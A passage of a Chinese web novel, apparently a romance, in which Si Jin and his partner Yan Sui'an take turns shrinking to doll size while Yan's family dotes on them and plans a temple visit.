他的问题一个接着一个,燕绥安根本没耐心回答。 “宝宝,没事了,我现在带你去检查。” 司谨懵懵地点头,又重新被放进了他的口袋里。 仰起头,他看见裴落眼睛一眨不眨盯着他的方向,满脸都是掩盖不住的震惊。 感觉也把他给吓着了,司谨想了想还是抬起手冲着他挥了挥,小声说:“没事。” 裴落嘴巴成了O形,俯身追着他看,跟发现了新大陆一样震惊。 “真的变小了啊,太神奇了。” 司谨往口袋里躲了躲,不想让他继续盯着自己。 “别在这偷看。”燕绥安拿上东西,总算发现跟在自己身后的裴落,没好气推开人往外走。 裴落还想说什么,却没了机会。 去了医院自然又是引起一阵轰动,将检查都做了一遍,硬是没看出半点问题。 “这种情况我们也从来没见过,但有时候科学解释不了的东西,也能尝试依靠一下玄学,既然说是因为前天晚上冒出了这个念头,第二天就应验了,那要不……燕总你今晚就多想想让他变回来,说不定意愿强烈了会有效果呢。” 听着这荒谬的话,燕绥安的脸色铁黑,莫名也要觉得是自己的责任了。 难不成真是因为他莫名冒出来的那个想法?可他真不是认真的啊。 察觉到司谨的情绪逐渐低落下去,燕绥安皱皱眉头,知道不能在这地方多停留,只得答应下来,带着人回到了车上。 升起隔板,他将司谨从口袋里找出来,挤出个笑容来。 “宝宝别怕,说不定真的睡一觉就又变回来了呢,我这会儿意愿特别强,肯定能灵验。” 见司谨没什么反应,他又凑过去用嘴唇贴了贴司谨的小手,哄道:“实在不行咱们去庙里拜拜,我妈说那地方可灵了。” 司谨鼓鼓脸颊,也知道一时间急不来,只得小声说:“明天再去吧,你都跑一上午了,不饿吗?” 这一上午燕绥安折腾这捯饬那的,都没闲下来。 “有点,那咱们吃饭去。”燕绥安往窗外看了眼,发觉位置很近,“去一粟吃?” “好。” 司谨其实心里也有点放不下自己的餐厅,便乖乖点了头。 但巧合的是,燕绥安带着他刚到门口,便远远见着封阿姨和小姐妹正走在前面准备进门。 燕绥安将手伸进口袋里,手指轻轻摸了摸司谨的脸颊,然后才快步上前。 “妈。” 封冉悦一回头看见自己儿子,便露出了笑容:“来店里找小谨啊?他今天在这?” “没。”燕绥安心虚,想了想还是没打算这么快把这件事告诉她,“我就顺路过来吃个饭。” 封冉悦狐疑地看他一眼:“一个人来这吃饭?” “这里的菜好吃。” 燕绥安面不改色,去前台要了个小包间。 封冉悦和自己的两个姐妹一起出来玩,自然是不想和儿子坐一起的,但看他自己一个人吃饭还要开包间,一下就觉得哪不对了。 “你……” 燕绥安知道她要说什么,随口瞎扯:“我朋友一会来。” “哦。” 封冉悦这下没再说什么了,跟姐妹去了大厅坐。 进了包间,等上过菜后服务生关上门,燕绥安这才将口袋里的小人找出来,用手帕给他垫着腾出一个柔软舒适的座位。 用刀叉分隔开食物,他给司谨喂完食,自己随便几口填饱了肚子。 吃饱喝足,司谨的状态也好了些,这会儿坐在桌边晃悠着两条腿,忽然想起件事情来。 “晓西今天也会来店里。” 燕绥安听见这名字也没什么反应,仔仔细细给他梳理头发,随口问:“要见他吗?” “我也不知道,他说有空的话上午来店里找我玩。”司谨低头看了眼自己的小手,“但我现在也没办法跟他去玩呀。” 燕绥安觉得头疼,“那要不现在给他发消息,让他别来了。” 司谨刚想点头,习惯性伸手去摸口袋,却摸了个空。 同时,燕绥安也怔了怔。 “你的手机还在家呢。” “是诶。”司谨挠挠头,正想说什么,就听见桌子上传出嗡嗡的震动铃声。 “……” 楼下大厅。 彭露忙完出来前台休息,一抬头就见着外头站了个人,正冲着她笑。 “你好,请问你们司店长在吗?” 彭露摇摇头:“他今天还没来,您找他有事吗?” “我是他朋友,约了今天在店里见面。”宋晓西有些摸不着头脑,“我这边打不通他的电话,不知道怎么回事,你能帮我联系一下吗?” 彭露自然不会拒绝,“您稍等。” 拿起手机给司谨拨了电话,果然也是很久都没人接,她面带歉意:“您稍等一下,我换一个号码。” 她是知道燕绥安和司谨关系的,原先跟着他们一起出去玩过,偶尔店里有事联系不上司谨,打燕绥安的电话通常都能找着人。 这次果然也一样。 “燕哥,有个司谨的朋友来店里,说联系不上。” 对面很快给了答复。 彭露有些诧异:“你在楼上?行,那我让他上去。” 转头将情况告知了宋晓西,对方冲他笑笑,便快步上了楼。 穿过楼梯往上走,他随意朝着楼下大厅扫了一眼,身形很快消失在隔墙内,同时也忽略了封冉悦不可置信投来的目光。 “怎么啦?” 正聊着最近的八卦,封冉悦姐妹察觉到她走神。 “没事,我去趟洗手间。”封冉悦猛地站起身来,顾不上其他,快步往楼上走去。 她要是没看错的话,刚才上楼的那个年轻男人,正是她儿子之前带来给她看过的前男友,虽然穿着打扮没有那么浮夸,可还是一眼就让她给认了出来。 他不是在海城吗?怎么跑这来了? 回想起方才自己儿子说要在包间里等朋友,封冉悦的心中就掀起了轩然大波。 该不会真是她想的那样吧?不是和小谨处得好好的?前些日子还说要去领证,结果现在跑来幽会前男友。 封冉悦一万个不相信,可看着那一幕,却无法做到不胡思乱想。 上了楼,她正好撞见那人绕进了一个包间,止不住加快脚步。 她儿子要是真敢做对不起小谨的事情,她指定饶不了他! 包间内,宋晓西刚瞧见里头只有燕绥安一个人,接着视线落在桌前,在司谨的简单讲述下知道了事情的经过,还没来得及接受这一震撼事件,身后的门就砰的一声被推开了。 “燕绥安!” 封女士一直是个温柔优雅的女人,鲜少有这样不顾形象的时刻。 可推开包间的门,她看见自己儿子真坐在里头,脸上的惊愕和怒意再也掩盖不住。 “你们……” 燕绥安一脸茫然,可也来不及顾她,不着痕迹地将桌上受到惊吓从手帕椅子栽下去的小人捧在手心里头,接着将手放在了封女士看不见的地方。 “妈?” 宋晓西还没从司谨忽然变小的震惊中抽神出来,一转头看见封冉悦,脸色又是一变。 完了完了。 封冉悦猛地将包间门关上,把昂贵的包往桌上一砸。 “给我个解释?你们不是分手了吗?为什么在这私会?” 燕绥安难得迟钝了一下:“什么私会?妈你别瞎说。”司谨还在这听着呢。 “阿姨,你误会了。”宋晓西连忙解释,但他也不知道现在能不能把事实告诉这位阿姨,毕竟之前燕绥安说过要他保密的。 封冉悦冷笑一声:“我误会了什么?你们直接说吧,谁主动约的?什么时候又联系上的?” “妈。”燕绥安一个头两个大,“他不是来找我的,而且……” 垂眸看了眼坐在他手心里满脸疑惑的司小谨,只觉得是瞒不下去了。 “而且什么?”封冉悦怒从心底来,她这会儿一想到司谨乖巧听话的模样,心脏就压着难受,“我告诉你,今天的事情我是肯定会和小谨说的,当初和我们说的时候那么真心,许诺要一辈子对小谨好,结果呢?” 圈子里头少不了有了家庭还沾花惹草的人,但燕阔峥和封冉悦半生都对专一,自然也无法忍受自己儿子是个朝三暮四的花心人。 燕绥安闭了闭眼,还是说了实话:“我们压根就没谈过,那是我骗你的。” 封冉悦一肚子火还没发完,到嘴边的话忽然被堵住了,身体僵硬转向燕绥安,猛地一拍桌子。 “你给我解释清楚!” 知道再不说就真要完蛋了,燕绥安深吸口气,还是说了实话。 “我就和司谨一个人谈过恋爱,原先我是害怕你们不接受司谨,所以随便找了个人帮我演戏,歪打正着找到司谨的朋友帮忙,实际上我们什么都没有,他今天来也是找司谨的。” 宋晓西紧张地咽了口唾沫,心虚接话:“阿姨,不好意思啊,事情就是这样,我和他其实压根就不认识。” 封冉悦愣怔了数十秒,好半天终于反应过来,也明白了自己儿子这么做的用意,心里头一时间情绪复杂,竟然是不知道该说什么。 将老底都揭了,燕绥安甚至不敢去看手心里头的人,只能深吸口气。 “我当初那么喜欢司谨,您现在也知道他的性格,要是当初您对他表现出不满,肯定会让他心里头难过的,我只是不想让他不好受,您当初对他不了解,多少都会有点意见,所以我也只是想让你心里头有个对比,这样能对司谨宽容些,但您现在肯定也能理解我的想法了,司谨就是挺好的,否则您也不会这么喜欢他。” 封冉悦被他这么一说,竟然无力反驳。 她承认,司谨是个惹人喜欢的好孩子,尤其让她每次一见着就心生怜爱,现在和他们相处久了,她也是真把司谨当成了自己的孩子对待。 但如果当初燕绥安第一回带来的人是司谨,她心里头多少也是会不舒服的,毕竟她那会儿还没能完全接受自己儿子是个同性恋的事实。 说到这似乎又是她理亏了。 看了眼边上的男人,又看了眼坐在位置上一直没动的燕绥安,封冉悦缓缓放下心来,但还是有些疑虑。 “你说他来找小谨,那小谨人呢?” 燕绥安:“……” 宋晓西抹了把汗,没敢说话。 封女士眼神怀疑,但下一秒,视线就被自己儿子缓缓举起的手吸引了注意力。 手心中间捧着个粉雕玉琢的小娃娃,穿着毛茸茸的可爱娃衣,这会儿小小一团坐在手掌里头,怯生生抬起脑袋望向她。 “阿姨。” 封冉悦眼睛微微睁大,被萌到差点去捂心口。 “我的天!” 作者有话要说: 封阿姨眼中 司小谨:麻麻[可怜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 搞清楚了来龙去脉,封冉悦也半点脾气都没了,擦干净手小心翼翼把司谨接进自己手心里头,带着香气的指尖轻轻拨动那柔软的脸颊和小手,心简直软成了一滩水。 “怎么就变成这样了呢?” 她这么说着,语气中却不显多少不满。 燕绥安看着自家老妈的变脸好戏,简直想翻白眼,“不知道,好在现在身体没任何问题,只能再看看有没有别的办法能变回来。” “小谨现在这副样子,被你带着跑来跑去多危险啊。”封冉悦皱皱眉头,颇为不满,直接做了决定,“一会儿我把小谨带回我们那去,你安心上班吧。” 燕绥安脸色一变:“妈,您可别闹着玩,今天裴落冒冒失失差点弄伤他,您带着我能放心吗?” “怎么不放心了?”封冉悦找着机会,反过来指责他,“你也好意思说!要是真伤着小谨了,我看你怎么办。” 司谨听着他们俩吵,有点儿手足无措,只好小声劝道:“不要吵了。” 封冉悦一听他软乎乎的语气,就立马露出了温柔的笑容,“听小谨的,一会儿跟阿姨回家,好不好?顺便让你燕叔叔瞧瞧。” “不行!” 司谨为难地看了看他们两,最后还是转向了燕绥安,“你公司不是还有事情没处理完吗?要不你下午就回去忙吧。” 他说完,看着燕绥安的脸色逐渐变得阴沉,又赶紧补充一句:“等你下班以后来接我回家。” 封冉悦忙附和道:“就是,这多好,晚上回来家里吃个饭,我保证把小谨照顾好。” 燕绥安表情缓和了些,不情不愿点了头。 这会儿知道宋晓西和司谨是朋友了,封冉悦也热情招呼他,但宋晓西本身之后还有安排,便连忙拒绝了。 被封女士揣进昂贵的包里,司谨探出脑袋和满脸不情愿的燕绥安招招手,看着人逐渐消失在了车窗外。 被带回了燕家,燕阔峥见了以后自然又是一通震惊,但他的接受能力还算好,听完便皱着眉头,一只手捧着司谨凑近去看,还特意戴上了眼镜。 “燕叔叔。”司谨心虚得不行,眨眨眼睛不知道该说什么。 燕阔峥盯着他看了一会儿,叹口气:“没事,累不累?叔叔给你找张床休息。” 司谨心说他直接睡在燕绥安的房间里就可以了,可正迷迷糊糊点了头,就被燕阔峥带着上了楼。 这还是他第一次进入燕叔叔和封阿姨的房间,进门是宽敞的衣帽间,满墙的包,每一只都住着单间,绕过走廊进入小厅,燕阔峥不知从哪找出了一张迷你的木质半包围小床。 “这是你封阿姨原先拍来的,小叶紫檀的床,原本就是个装饰品,正好能派上用场。” 司谨震惊极了,忙道:“叔叔,我不用……” 可燕阔峥却已经开始从衣柜里头找毛毯和垫子了,专心务必,难得带着些小心翼翼。 司谨还想说什么,可是他被放在桌子上,左看右看也没有能绕过去的机会,只能站在原地等待着燕阔峥布置完回头,才能继续沟通。 没多久,封阿姨进了房间,司谨眼睛微亮,忙朝她抬起手臂招呼。 “阿姨。” 封冉悦从进门开始就一直在找寻司谨,这会儿一眼捕捉到他的身影,眼底便盛满了笑意,快步走来将小人捧起。 “干什么呢?一个人站在这么高的地方,多危险。” 她扭头去斥责燕阔峥,但还没说几句,看见他正认认真真叠毛毯的动作,便将后面的话给吞了回去,面露喜色:“哎呀,你不拿出来我都快忘记有这个了,给小谨现在睡正好。” 司谨害怕掉下去,只能抱着她的手指头,屁股底下就是封冉悦漂亮的珠宝戒指,有点儿硌人,但是他这会儿也不敢乱动,小声说:“我真的不用,睡正常的床就可以了。” 刚才离得远他没看仔细,现在凑近一看才发现那小床很是精致,看起来就价格不菲。 “已经收拾好啦。”封冉悦似乎压根没听见他的声音,高高兴兴捧着他放在了小床里,“小谨来试试,好不好睡?要是不舒服再让你燕叔叔收拾一下。” 司谨坐在柔软温暖的小床上,看了眼周围精美的雕花,忙不迭点头:“很好。” 说完,看见两人都露出了放松的表情,他也终于不在挣扎,妥协道:“谢谢燕叔叔,谢谢封阿姨。” “这么久了还那么生分。” 也许是因为司谨现在变小了,封冉悦心都要被他给软化,说话也不再像平时那样端着,不知不觉就将心里想法给说了出来,面上不由得浮现失望,伸手拨弄了一下正低头整理被子的小家伙头顶上扬起的发丝。 司谨听见了她的话,一时间没敢抬头,只能装作没听见的样子。 燕阔峥轻轻搂住夫人的腰,低声安慰道:“没事,相处久就好了。” 其实封冉悦也懂这个道理,只是刚才听见司谨那软乎乎的一声,心底不禁升起些许落差来。 她也知道司谨家庭情况不是很和谐,也许对于长辈没那么容易熟悉习惯,但她越是喜欢司谨,就越是希望司谨也能尽快接受他们一家人,最好有朝一日能和他们自己的孩子一样,无条件依赖信任他们,将他们当做自己真正的亲人。 折腾一天,司谨也很疲倦,躺在床上不知不觉陷入了沉睡。 等到再醒过来,他刚起身就嗅到了淡淡的香味,从温暖的小床坐起身左右看看,才发觉这张小床不知道什么时候已经被搬到了客厅,这会儿封阿姨和燕叔叔正在落地窗外头的院子里说话。 正揉揉眼睛,脑袋上就落了个指头,轻轻按了按他的发顶。 很轻的力道,可他身体太小了,不禁往前栽,很快又被那手给捏住了肩膀。 “不好意思啊。” 没多少歉意的女声带着点儿笑意,司谨下意识抬起头看过去,对上了燕玥笑意盈盈的眼。 呆呆坐着,他好半天才喊了声:“姐姐。” “诶。”燕玥应了声,正抬手要给他整理凌乱的衣服,“这衣服还挺可爱的,燕绥安选的?” “是。” 司谨不太自然地坐着,刚被提溜一下领口,就听见另一道声线传来。 “今天人这么齐,家里有什么新奇东西?” 燕尚刚工作完回来,瞧见自己时常不着家的妹妹居然也在,不由开起玩笑,可等凑到了沙发柜边上瞧见小床上的人,笑容却一下僵住了…… “这是……小谨?””哟,这有个消息比我更慢的。”燕玥笑了。 司谨眨眨眼睛:“哥哥。” 只一瞬间,燕尚眸中的情绪融化,尽数化作了温柔。 正凑过去想把人抓起来,身后却传来急促的脚步声,紧接着手腕被紧紧攥住,便宜弟弟不悦的声音传来。 “哥,你洗手了吗就碰。” 司谨看见后面进门的人,眼睛一下就亮了起来,“燕绥安!” 燕绥安瞧见他这副高兴的模样,心中的不满消散了许多,可想到这小家伙刚才还天天喊燕尚哥哥,到他这就成了全名,心里头又泛起一阵不爽来。 当着燕尚燕玥的面,他自然没表现出什么,用湿巾擦了手便将自己心心念念一下午的宝贝捧起,放在了自己肩膀上。 司谨发现他换了件卫衣,坐稳以后便伸手拽着边上的帽子。 “这么小心眼。”燕尚察觉到弟弟的情绪变化,忍俊不禁凑了过来,“小谨这副样子倒是可爱,我拍几张照片。” 他一说,燕玥也来了劲,掏出手机。 司谨犹豫着看过去,不知道自己该不该举起手配合比个耶,身前就挡了只手。 “拍什么拍?我都饿了,赶紧吃了回家去。” 燕玥啧一声,半天找不到能拍到人的角度,只得放下手机。 燕绥安瞥他两一眼,自顾自往餐桌边上坐,很快一家子人落了座,钟姨将一盘迷你餐点放在了司谨面前,脸上带着慈爱的笑容。 “这是太太特意吩咐做的,还有餐具呢。” 司谨抓着尺寸正合适的筷子,眼睛里的惊讶完全掩盖不住。 “谢谢阿姨。” 有了合适的餐具和缩小版的餐品,他自己吃饭也很利索,体验感很好。 吃过了饭,封冉悦开始劝说燕绥安晚上留在家里休息,却被燕绥安轻易看穿了目的。 “您只是想让司谨留在这吧,他晚上肯定得跟我回去。” 他一只手托着吃饱喝足的司谨,另一只手轻轻捏着小人的小胳膊,一副谁跟他抢就跟谁急的架势。 封冉悦还想说什么,沙发上的燕阔峥便开口了:“在家休息也没什么不好的,明早我们带着小谨去山上拜拜,多方便。” 燕绥安:“免了,我明天亲自去。” 司谨听着他们掰扯好半天,最后看了眼燕绥安,还是小声劝了句:“要不就在家里住吧。” 一听这话,燕绥安脸色沉了下来,但却神奇般没再开口。 封冉悦一听便笑了起来,燕阔峥也面色缓和,起身正想再说些什么。 燕绥安却没给他们机会,双手合上把人罩住,转身就往楼上走了。 “行,那我带他休息去了,爸妈晚安。” “……” 他背影消失在合上的电梯门中,客厅陷入了死一般的寂静。 燕尚:“我没记错的话,绥安平时半夜才休息吧。” 燕玥:“你都说他小心眼了。” 封冉悦叹息:“还想让钟姨给小谨量量身体,定做几套衣服穿。” 燕阔峥瞥了眼被丢在茶几上的小床,眉头皱了皱。 楼上。 燕绥安快步回了房间,将门反锁好,便将人放在了床上。 司谨在床垫上颠了颠,一抬头瞧见他阴沉沉的表情,觉得有点儿搞笑,又只能憋着笑,问:“你干嘛呀?有那么早睡觉吗。” 燕绥安冷哼:“睡什么睡?先算算账。” 他表情凶巴巴的,让司谨有点不好的预感,一转身就钻进了被子里。 他身体小,一下消失在视线中,只剩下单薄的羽绒被鼓起一小团,倒是把燕绥安给气笑了。 一只手伸进去,轻轻松松抓住司谨的小腿,把人倒吊着提溜起来,身体在空中晃悠,像是只小仓鼠。 “燕绥安……” 司谨有点儿晕,讨好地喊了声。 燕绥安听后又不爽起来:“就知道喊我全名,对着别人又是哥哥又是姐姐的。” “可是本来就应该这样叫啊,而且……我都还没找你算账呢。”司谨想着白天餐厅里头发生的事情,有点委屈,“我头晕。” “就对我坏。” 燕绥安没好气说完,却还是轻手轻脚把他转了回来,小心翼翼给他揉了揉脑袋。 头发乱糟糟的,但在他要将手收回去时,司谨却一把抱住了他的手指头,黑白分明的眼睛眨巴眨巴,接着特别乖地喊了他一声。 “绥安哥哥。” 燕绥安的手指弹动一下,耳尖不知不觉红了。 第52章 察觉到燕绥安的脸色缓和下来,司谨理直气壮开始反问:“我也要算账!” “你算什么账?” 司谨哼一声:“你瞒了我这么多事情,和晓西又是怎么回事?” 在公司忙了一天,燕绥安脑子里光想着接他回家了,早将计划暴露的事情抛到了九霄云外,这会儿被他提醒才猛地回想起来。 察觉到他的眼神变得心虚,司谨紧紧盯着他,一字不发。 燕绥安自知理亏,只得解释道:“就是我说的那样,裴落帮忙找的人,当天才知道是宋晓西,要是早知道是他,我肯定让裴落换个人,是你的朋友,总归还是不合适的,但那时候也没别的选择了。” 他对宋晓西这人没什么太大的印象,但并不准备利用司谨的朋友,但那天实在是没人可以选。 他这边解释着,但司谨其实也根本就没有多生气,这会儿只是借题发挥。 “那你也一直都没和我说起过。”他扭开脑袋,刻意不去看燕绥安,“是不是我今天没听见,你就准备一辈子都不告诉我啊?” 这倒是被给说中了,燕绥安没半点反驳的机会。 猜到他未出口的回答,司谨皱皱眉头,一时间居然不知道该再说什么。 “你……” “宝宝。”燕绥安叹了口气,搂着他靠在了床上,有点儿无奈。 “我的确从最开始就没有想过要把这件事情告诉你,这点我没办法骗你,但如果再来一次的话,我应该还是会这么做,你本来跟我在一起就很勉强,要是我妈再做点什么,你跟我分手怎么办?我承受不起这个后果。” 他一口气说了这么多,字字真诚恳切,倒是叫司谨哑口无言。 的确,他没有办法否认,燕绥安说的很有道理,而且也是在为了他而着想,甚至不惜影响自己在家人面前的形象,如果不是今天这一出,估计封阿姨还一直觉着自己小儿子是个花花公子呢。 似乎察觉到他的态度软化,燕绥安过来贴贴他的手,又揉揉他脑袋。 “宝宝,这样好了。”他深吸口气,像是努力说服自己做出了某种牺牲,“你别生气了,我也不生你的气,行不行?” 司谨有些想笑,他本来也没有生气,这会让觉得还挺值,便故作犹豫地点了点头。 但很快又反应了过来,连忙补充:“我没有觉得勉强。” 燕绥安正顺着他前面的话点头,闻言愣了愣,意识到他接的是哪句话,面上的神情骤然柔和下来,像是很无奈似的过来将他抱进怀里。 两根手指头覆着他的后背,好让他能倚靠在自己锁骨上。 “乖宝。” 司谨的心也软化了,乖乖扯住他帽檐上垂下的绳子,心里头忽然就难得浮现出点躁动来。 他真的感觉有点想念燕绥安,想要像平时那样被他老老实实抱住,听他在自己耳朵边上说那些好听的话,而不是像现在这样,只能像是个小摆件被他捧着。 两人在一起这段时间,也有了不少的默契,燕绥安察觉到了他的心思,也长长叹了口气。 “宝宝,虽然你这副样子很可爱,但我还是更希望你能快点变回来。” 司谨心说,我只能努力。 一天下来,燕绥安也有些疲惫了,他这天跑了不少地方,还惦记着明早带着司谨去山上拜拜,便早早洗漱过上床休息。 害怕将人给压住,他用被子围成个堆起的小床,小心翼翼把司谨放进去,又给他掖好被角。 “早知道就把那边的床带过来了。”躺下,他嘟囔一句,又笑了,“倒是有点像在玩养成游戏。” 司谨盖着被子,一张小脸露在外面,看着边上用手臂围着小床的男人,心里头泛起一阵说不出来的酸涩。 犹豫良久,他还是问:“要是我一直变不回来怎么办呀?” 其实今天虽然燕绥安没表现出太多的焦虑,但他还是能够察觉出燕绥安隐藏的不安。 和他的心情是一样的。 燕绥安睁开眼,盯着他看了好一会儿,忽然轻轻笑了一声:“没事啊,慢慢养着总能大一点吧。” 司谨裹着被子翻了个身,鼻子有点酸,“万一就是永远都这么小呢。” “宝宝。”燕绥安稍微凑近了,“不要瞎想,大不了我等你一辈子,怕什么。” 司谨眼眶里蓄起点儿水光,忍不住笑了一下:“你就哄我。” “没哄你,我是认真的。” 燕绥安也很轻地笑了一下,但是眼底却满是认真,没有半点开玩笑敷衍的意思。 “原先我对你也没有别的心思啊,小的时候就想带着你回家了,现在我也成熟了,正好把你好好养一遍,也不知道能不能胖点。” 他语气轻快,司谨心中的躁动逐渐被抚平,竟然也少了那些杂乱的想法。 “可能会吧。” “那就好。” 燕绥安伸出个指头,在他柔软的脸颊上按了按,但是要收回去的时候,却被他给抱住了。 司谨搂着他的手指,小声说:“可不可以就这样睡?” 他现在很需要一点安全感,但是和燕绥安睡在一起的话,说不定真的会被睡梦里被他压到,所以也只能这样了。 “好。” 燕绥安没多说什么,将手搭在小床边上,也不觉得这样难受。 给床头留了张照明的小灯,燕绥安闭上眼睛,有一搭没一搭和他说着这几天工作上的事情,不知不觉耳边极轻的呼吸声变得更加难以捕捉,他这才缓缓睁开眼。 小床上的人已经陷入了熟睡,这会儿他动了动手指也没能惊醒。 “晚安,宝宝。” 燕绥安将脑袋凑近了小床,也合上了眼- 一夜无梦。 闹铃响起的时候司谨下意识翻了个身,默认一会儿燕绥安就会将其关闭。 可许久过去,那铃声还不停在房间内回响,他眯着眼想要坐起来,手臂一伸却摸到了床头柜正嗡嗡震动的冰冷手机。 下意识手指上滑,闹铃被关闭,周围重新安静下来。 他松了口气,可刚闭上眼睛没多久,就猛地打了个激灵坐起身来。 身下是卷成一团的被子,身体已经变回了正常的大小,他浑身赤裸,只有身上盖着一条薄毯。 心底掀起狂喜,他不由得露出笑容。 “变回来了。” 下意识去看身边的燕绥安,可却发觉床上空无一人。 出门了? 正要下床,他心底骤然浮现出个不好的想法,随手从床头扯了燕绥安的衬衣穿上,接着便开始将床上杂乱的被子枕头拿起。 果不其然,在被角下找到了正裹着枕巾呼呼大睡的燕小安。 他似乎什么都没察觉到,这会儿睡得正熟,凌乱的发丝堆在头顶,张扬凌厉的小脸多了点儿肉感,难得显出几分可爱来。 这……到底怎么回事? 司谨脸颊苍白,想伸手把人摇醒,外头却先一步传来了敲门声。 响了几声,床上的人也有了反应,皱皱眉头翻个身,然后忽然睁开眼睛,和正愣神的司谨对上了视线。 燕绥安还没完全从睡梦中醒来,瞧见司谨穿着自己的衣服,眼眸立马亮了。 “宝宝,你变回来了!” “可是……你变小了。” 司谨眉眼微垂,残忍告知了他事实。 燕绥安脸色大变,坐起身来,看着自己小不点似的身体,表情一下子变得难看。 “怎么回事?” “我也不知道,我睡一觉句醒过来了,但是你……” 司谨面露担忧,这会儿听着外头的敲门声又响起来,便连忙下了床,“可能是封阿姨上来了。” 昨天封阿姨说要带着他去庙里,这会儿估计来提醒他们起床。 燕绥安满脸呆滞,也不知道有没有接受这个事实,片刻后只道:“宝宝,你给我找套衣服吧。” 总不能光着见封女士,一会儿免不了被嘲笑。 司谨忙下床,从昨天燕绥安助理带来的那堆衣服里找了几套放在燕绥安面前。 “你喜欢哪套?” 对着小不点燕绥安,他说话的语气轻了又轻,还有点不真实的感觉。 燕绥安看了他一眼,眼神飘忽:“宝宝,你找套衣服穿好去开门吧,我自己穿就行。” 知道他忽然变成这样肯定也会跟昨天的自己一样觉得难以接受,所以司谨也没有多说什么,听从他的话去了衣帽间,随便找了套休闲服穿上,便快步跑去开门了。 似乎默认今天来开门的还是自己儿子,门一开外头就传来了抱怨的声音。 “你可真能睡啊,一家子在楼下等半天了。” 燕玥进了门,看见司谨以后愣住了,露出惊喜表情:“小谨,你变回来了。” 司谨还没来得及说话,后面的封冉悦就惊了。 “小谨!什么时候恢复正常的?” “今天早上。” 司谨诚实回答完,又想到此时还在房间里的燕绥安,眉头不由得皱了皱。 “但是……燕绥安他又出了点情况。” 后面进门的燕阔峥听了这话,眉头皱紧。 十几秒后,四人进了房间,彼时燕绥安已经换好了衣服,这会儿站在床头柜上,似乎想找个合适的地方下去。 一抬头瞧见面前站着的几人,他表情不太自然,抱着手臂作高冷状。 这副傲娇的模样若是他正常的外表,肯定显得高冷又帅气,让人不敢接近,可现在这副样子却只让人觉得可爱极了。 封阿姨一时间母爱泛滥,眼神慈爱,“哎呀。” 燕叔叔皱着眉头,一言不发。 燕玥露出点笑容,控制不住手痒,“这小家伙,弹一下不会哭吧。” 司谨眨巴眨巴眼睛,看着这一家子人,有些不知所措。 作者有话要说: 抱臂小燕很贴角色卡了 第53章 搞清楚了情况,封阿姨止不住伤心,看着自己儿子一到沙发上就摆脱了自己的控制,一个劲要往沙发椅背上爬,面露难过。 “怎么变来变去的,该不会是原先那屋子有毛病吧?要不请个大师来看看。” “妈,干嘛不直接换个住所呢。”燕玥知道她心里怎么想,索性当了她的传音筒,“昨天小谨回老宅就恢复正常了,说不准今晚燕绥安也能变回来。” 司谨坐在边上还没开口,燕绥安就插话道:“怎么可能?那我住老宅也变小了怎么说?我看就是京市的风水不对。” “这种话怎么能瞎说。” 封冉悦是很信这个的,连忙打断他,又叫他呸呸两下。 燕绥安板着脸照做,心里头很不情愿,一转头瞧见自己老婆端端正正坐在沙发上,便往那方向走过去,顺畅一滑溜成功坐在了司谨的侧颈上。 司谨不免担心他,伸出手扶着他,被抱住了食指。 “反正都要去上山,咱们直接去吧。”燕玥提议道。 封冉悦叹口气,只好点头,起身又看向司谨:“小谨,你还没吃早餐呢,钟姨给做好了,正好那份小的给绥安,你也赶紧吃了跟我们一起去拜一拜。” “好。” 司谨跟着他们一起下楼,燕绥安坐在桌上,就像是昨天的他一样,抓着超小号的餐具吃饭。 吃饱喝足,燕绥安刚站起来,一转头就对上了燕尚饶有兴致的眼神,脾气一下子上来,冷着脸道:“干嘛?” “没干嘛啊,觉得新奇。” 燕尚忍不住笑笑,伸手卡着他的肋下把人抓起来。 司谨见状忙道:“大哥,你……” 他话还未说完,燕尚便露出绅士笑容:“放心,我带他去客厅消消食。” 看着他转身朝着沙发走去,司谨下意识加快了咀嚼的速度。 被放在沙发上,燕绥安撇撇嘴,一扭头要走,却被身后的人弹了个脑瓜崩,身体往前一滚,像个小球。 摔到四仰朝天的燕绥安:“……” 平时一整天见不着人的燕玥这会儿也不急着去工作了,坐在沙发上回复消息,一扭头看见个小东西滚过来,立马哈哈大笑起来。 “平时那张狂样呢。” 燕绥安爬起来,冷着脸瞥两人,“等我变回来,要你们好看。” 燕尚眼底满是掩盖不住的笑意,“等你啊,小弟。” “等你。”燕玥用拇指和食指比了个心,灵机一动,“你说现在把你和仓鼠放在同一个笼子里,你们谁能赢?” 燕尚咳嗽一声。 燕绥安脸色铁青。 好在司谨吃过饭过来了,他便一扭头朝着司谨方向过去,被老婆抱起来放在肩膀上,开始不说话卖惨。 “哎呀,你们两个欺负他干什么?” 没等司谨开口,换好衣服的封阿姨下楼来看见这一幕便着急了。 燕尚和燕玥一下回归正常表情,露出爱惜的微笑。 “哪有,只是逗逗他而已。” 司谨摸了摸燕绥安凌乱的头发,跟着封阿姨上了前往鹭林山的车。 让他惊讶的是,燕叔叔居然也一起跟来了。 司谨坐在后排,车开出去还没多久,燕绥安就坐在了他腿上,这会儿拽着他的衣摆,似乎是困了。 “绥安,到妈妈这里来,我抱着你睡。”封阿姨主动提议,满脸都是期待。 燕绥安自然是摇头拒绝,接着想起来什么,又拽着司谨的袖口,自顾自爬上他的肩膀,贴在靠车窗的那侧耳朵坐下。 “宝宝……” 语气里头带着点儿沮丧。 因为昨天变小时体会过那种不安的心情,司谨现在也能够捕捉到他的情绪变化,便放软了声音,摸摸他的后背。 “怎么啦?” 耳朵边上传来嘟囔声:“一会儿得爬山,你要不去坐索道吧,挺累的。” 司谨想了想:“适当运动一下也是可以的,我们都好久没有出来玩过了。” 燕绥安的确很想要和他一起出来玩,但并不是以现在的这种形态。 他原先是说过要和司谨出去走动走动,趁着婚礼前好好玩一顿,但他那时候想的是和司谨去没人的地方,他想亲就亲想抱就抱,等司谨走累了,他就背着自己喜欢的人回家。 可是他现在这副样子……反而是要麻烦司谨背着他了。 真丢脸。 他什么也没说,但司谨准确捕捉到了他的叹息声,又安慰:“没事的,说不定时效就只有一天,等明天早上就能变回来。” 但愿吧。 燕绥安这会儿心里头也抱着点儿侥幸,但他依旧不敢完全放下心来,害怕自己的情况和司谨不一样,等明天起来空欢喜一场。 抵达山下,燕叔叔拉着封阿姨简单热身,主动背着包往上走。 司谨这一年来忙着工作和兼职,运动的时间太少了,没爬多久便气喘吁吁起来。 “宝宝,我重不重?” 坐在肩膀上的燕绥安忽然开口,声音闷闷地,好像不太高兴。 司谨听着这话,莫名感觉像是在撒娇,下意识回答:“不重啊,很轻的。” 那就是有重量的意思了。 